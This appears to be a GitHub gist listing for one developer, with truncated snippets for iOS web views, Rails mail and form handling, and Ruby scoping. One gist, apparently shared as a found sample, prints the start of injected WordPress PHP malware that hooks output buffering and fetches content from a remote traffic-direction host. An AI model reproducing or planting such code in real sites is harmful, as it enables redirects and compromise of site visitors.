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Amy Lee amster

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amster / YourViewController.m

Last active October 24, 2022 20:44

Load a UIWebView in iOS that can also load local resources like images, CSS, and JavaScript

	// An example viewDidLoad
	- (void)viewDidLoad
	{
	[super viewDidLoad];
	[self loadWebView];
	}

	// The example loader
	//
	// Assumes you have an IBOutlet for the UIWebView defined: @property (strong, nonatomic) UIWebView *wv;

amster / gist:4455131

Created January 4, 2013 19:16

Hide/remove iPhone address bar (navigation bar) with the window.scrollTo() trick, but without moving the page perceptibly.

setTimeout( function(){ window.scrollTo(0, 0.1) }, 100 );

amster / gist:4430943

Created January 1, 2013 23:22

ActionMailer settings in production.rb (that also work with Devise) to connect to Amazon SES

	config.action_mailer.raise_delivery_errors = true
	config.action_mailer.default_url_options = { :host => 'YOURDOMAIN.com'}
	config.action_mailer.smtp_settings = {
	:address => 'email-smtp.us-east-1.amazonaws.com', # See the SES SMTP Settings dashboard
	:port => '25',
	:domain => 'YOURDOMAIN.com', # Your domain
	:user_name => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456', # New SMTP credentials, NOT AWS CREDENTIALS!
	:password => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456', # New SMTP credentials, NOT AWS CREDENTIALS!
	:authentication => :login
	}

amster / gist:4354906

Created December 21, 2012 18:49

Ruby local scoping: when exceptions happen or not.

	def a
	# Should error because it's not assigned in the current scope.
	puts foobar
	end

	def b
	# This code path isn't run but it's still in the same scope.
	if false
	foobar = 123
	end

amster / gist:1964927

Created March 3, 2012 07:56

WordPress PHP hack, a.k.a. eval(base64_decode('aWYoZ...

	if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
	$_SERVER['mr_no'] = 1;
	if (!function_exists('mrobh')) {
	function get_tds_777($url) {
	$content = "";
	$content = @trycurl_777($url);
	if ($content !== false) return $content;
	$content = @tryfile_777($url);
	if ($content !== false) return $content;
	$content = @tryfopen_777($url);

amster / gist:903123

Created April 5, 2011 06:28

	def create
	@my_model = MyModel.new(params[:my_model])

	respond_to do \|format\|
	if @my_model.save
	format.html { redirect_to(my_models_path, :notice => 'Success') }
	format.js { render :json => { :success => true, :message => "Success"}, :content_type => 'text/json' }
	format.xml { render :xml => @my_model, :status => :created, :location => @my_model }
	else
	format.html { render :action => "new" }

amster / gist:903121

Created April 5, 2011 06:26

	def create
	@my_model = MyModel.new(params[:my_model])

	respond_to do \|format\|
	if @my_model.save
	format.html { redirect_to(my_models_path, :notice => 'Success') }
	format.js { render :json => { :success => true, :message => "Success"} }
	format.xml { render :xml => @my_model, :status => :created, :location => @my_model }
	else
	format.html { render :action => "new" }

amster / gist:903118

Created April 5, 2011 06:22

	$('form .submit-button').click(function () { $(this).parents('form:first').submit(); });
	$('form').bind('ajax:success', function () { alert('it works'); });

amster / gist:903117

Created April 5, 2011 06:20

Haml form_for with :remote => true

	= form_for @my_model, :remote => true do \|f\|
	= f.label :name
	= f.text_field :name

	= f.label :address, 'Address'
	= f.text_area :address

	%input.submit-button{:type => 'button', :value => 'Add Entry'}

amster / .gitignore

Created March 31, 2011 15:06

My .gitignore